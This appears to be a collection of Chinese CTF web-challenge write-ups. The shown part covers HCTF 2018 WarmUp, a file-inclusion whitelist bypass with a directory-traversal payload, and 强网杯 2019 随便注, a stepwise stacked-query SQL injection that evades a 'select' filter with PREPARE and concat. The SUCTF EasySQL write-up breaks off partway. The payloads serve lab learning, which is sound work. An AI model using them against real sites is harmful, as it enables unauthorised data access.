目录
-
- [HCTF 2018]WarmUp
- [强网杯 2019]随便注
- [SUCTF 2019]EasySQL
- [GYCTF2020]Blacklist
- [GKCTF2020]cve版签到
- GXYCTF2019禁止套娃
- [De1CTF 2019]SSRF Me
- [极客大挑战 2019]EasySQL
- [极客大挑战 2019]Havefun
- [极客大挑战 2019]Secret File
- [ACTF2020 新生赛]Include
- 2018]easy_tornado
- [极客大挑战 2019]LoveSQL
- [GXYCTF2019]Ping Ping Ping
- [RoarCTF 2019]Easy Calc
- [极客大挑战 2019]Knife
- [ACTF2020 新生赛]Exec
- [极客大挑战 2019]PHP
- [极客大挑战 2019]Http
- [HCTF 2018]admin
- [极客大挑战 2019]BabySQL
[HCTF 2018]WarmUp
这里补充一个知识点:phpmyadmin 4.8.1任意文件包含
环境我已经启动了
去访问一下
源码有提示 去访问一下
然后看到了源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这里白名单里给了一个提示
尝试直接去访问它
报错了…
尝试穿越目录去访问
依然报错了
看源码吧
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//这里是提供了两个白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr( //返回中文字符串的一部分
$page,
0,
mb_strpos($page . '?', '?')
//我们输入flag 但其实它在你的字符串后面加了一个问号,然后返回问号的位置,就是=4
//所以想绕过这里,直接?flag,他检测到的问号就是0,然后0,0没有执行 就绕过了
);
if (in_array($_page, $whitelist)) { //检测是不是在白名单
/hint.php?flag 进行绕过 进行目录穿越就可以了
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//上面是定义了一个类
if (! empty($_REQUEST['file']) //如果变量不存在的话,empty()并不会产生警告。
&& is_string($_REQUEST['file']) //必须是字符串
&& emmm::checkFile($_REQUEST['file']) //上面的那个类
) {
include $_REQUEST['file']; //就包含这个文件 参数也就是file
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
所以 最后就是 这样
?file=hint.php?../../../../../../../../ffffllllaaaagggg
就得到了flag
flag{acbbba26-c81b-4603-bcb7-25f78adeab18}
[强网杯 2019]随便注
进入题目链接
- 1.输入:
1'
查看注入类型
所以他的sql语句是单引号过滤
- 2.查看字段 (为2)
1' order by 2#
- 3.显示回显
1' union select 1,2#
相当于告诉了我们它的过滤
尝试用堆叠查询试试了
- 4.查库
1;show database();
- 5.查表
1';show tables;#
所以是有两个表
1919810931114514
words
- 6.查列
1';show columns from `words`;#
表名words需要被 ` 这个符号包起来,这个符号是 esc下面一个的按键,这个符号在mysql里 用于 分割其他命令,表示此为(表名、字段名)
1';show columns from `1919810931114514`;#
看到flag了!!!
那么如何查询到数据呢? select
函数被过滤了,其实mysql的函数有很多
这里通过 MYSQL的预处理语句,使用 :
concat('s','elect',' * from `1919810931114514`')
完成绕过
构造pyload:
1';PREPARE test from concat('s','elect','* from `1919810931114514`');EXECUTE test;#
flag{3b3d8fa2-2348-4d6b-81af-017ca90e6c81}
[SUCTF 2019]EasySQL
环境我已经启动了 进入题目链接
老套路 先看看源码里面有什么东西
不出意料的什么都没有
但是提示我们它是POST传参
这是一道SQL注入的题目
不管输入什么数字,字母 都是这的 没有回显
但是输入:0
没有回显 不知道为啥
而且输入:1'
也不报错 同样是没有